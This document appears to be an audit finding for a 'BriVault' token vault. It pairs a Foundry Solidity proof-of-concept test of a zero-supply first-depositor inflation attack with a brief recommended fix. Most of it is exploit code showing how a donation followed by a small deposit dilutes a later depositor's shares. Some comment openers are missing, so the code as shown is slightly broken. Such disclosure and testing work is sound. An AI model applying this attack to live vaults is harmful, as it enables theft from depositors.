The POC demonstrates how an attacker can donate tokens to an empty vault, then deposit a minimal amount to receive massively inflated share balances that control the majority of the vault. It shows that when convertToShares() ignores vault balance when totalSupply == 0, subsequent depositors receive severely diluted shares due to the artificially inflated exchange rate. The test verifies that an attacker investing 1000 tokens + 100k donation can control over 80% of the vault while legitimate depositors receive negligible shares.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: Zero-Supply First Depositor Inflation Attack
* Discovery Method: ERC4626 Zero-Supply Analysis
*
* Root Cause: convertToShares() returns assets directly when totalSupply == 0,
* ignoring vault balance. Attacker can donate tokens to inflate vault balance,
* then deposit minimal amount to control share supply and dilute subsequent depositors.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ZeroSupplyInflationPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 1000000 ether);
asset.mint(victim, 1000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(victim);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* CRITICAL VULNERABILITY: Zero-supply inflation allows attacker to control vault with minimal investment
*
* Attack Flow:
* 1. Attacker donates 100k tokens directly to vault (vault balance becomes 100k)
* 2. Attacker deposits 1000 tokens (gets 990 shares due to 1% fee)
* 3. Vault now has 100,990 tokens backing 990 shares
* 4. Exchange rate: 1 share = ~102 tokens (massively inflated)
* 5. Victim deposits 1000 tokens, gets massively diluted shares
*/
function test_ZeroSupplyInflationAttack() public {
console.log("=== ZERO-SUPPLY INFLATION ATTACK ===");
vm.startPrank(attacker);
asset.transfer(address(vault), 100000 ether);
vm.stopPrank();
console.log("After donation:");
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply:", vault.totalSupply());
console.log("- Exchange rate should be 1:1, but...");
vm.startPrank(attacker);
vm.warp(EVENT_START - 1 hours);
uint256 attackerShares = vault.deposit(1000 ether, attacker);
vm.stopPrank();
console.log("After attacker deposit:");
console.log("- Attacker shares:", attackerShares);
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply:", vault.totalSupply());
console.log("- Exchange rate: 1 share =", asset.balanceOf(address(vault)) / vault.totalSupply(), "tokens");
vm.startPrank(victim);
uint256 victimShares = vault.deposit(1000 ether, victim);
vm.stopPrank();
console.log("After victim deposit:");
console.log("- Victim shares:", victimShares);
console.log("- Attacker control %:", (vault.balanceOf(attacker) * 100) / vault.totalSupply());
assertEq(attackerShares, 990 ether, "Attacker gets shares = staked amount");
assertLt(victimShares, 100 ether, "Victim gets massively diluted shares");
assertGt((vault.balanceOf(attacker) * 100) / vault.totalSupply(), 80, "Attacker controls majority");
console.log("=== ATTACK SUCCESSFUL ===");
console.log("Attacker invested 1000 tokens + 100k donation");
console.log("Attacker controls", (vault.balanceOf(attacker) * 100) / vault.totalSupply(), "% of vault");
console.log("Victim lost significant value through dilution");
}
* Demonstrate the root cause: convertToShares() ignores vault balance when totalSupply == 0
*/
function test_RootCause_ZeroSupplyLogic() public {
vm.startPrank(victim);
vm.warp(EVENT_START - 1 hours);
uint256 normalShares = vault.deposit(1000 ether, victim);
vm.stopPrank();
console.log("Normal first deposit (no prior donations):");
console.log("- Deposited: 1000 tokens");
console.log("- Got shares:", normalShares);
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Exchange rate: 1:1 (correct for first depositor)");
vm.startPrank(victim);
vault.withdraw(normalShares, victim, victim);
vm.stopPrank();
vm.startPrank(attacker);
asset.transfer(address(vault), 100000 ether);
vm.stopPrank();
console.log("After donation to empty vault:");
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply: 0");
console.log("- PROBLEM: convertToShares() will ignore the 100k balance!");
vm.startPrank(attacker);
uint256 inflatedShares = vault.deposit(1000 ether, attacker);
vm.stopPrank();
console.log("Attacker deposit after donation:");
console.log("- Deposited: 1000 tokens");
console.log("- Got shares:", inflatedShares);
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply:", vault.totalSupply());
console.log("- Exchange rate: 1 share =", asset.balanceOf(address(vault)) / vault.totalSupply(), "tokens");
console.log("- DISASTER: Exchange rate inflated by donation!");
}
}
Modify convertToShares() to always use vault balance in exchange rate calculations, even when totalSupply == 0. Add minimum share requirements or seed shares on deployment to prevent manipulation: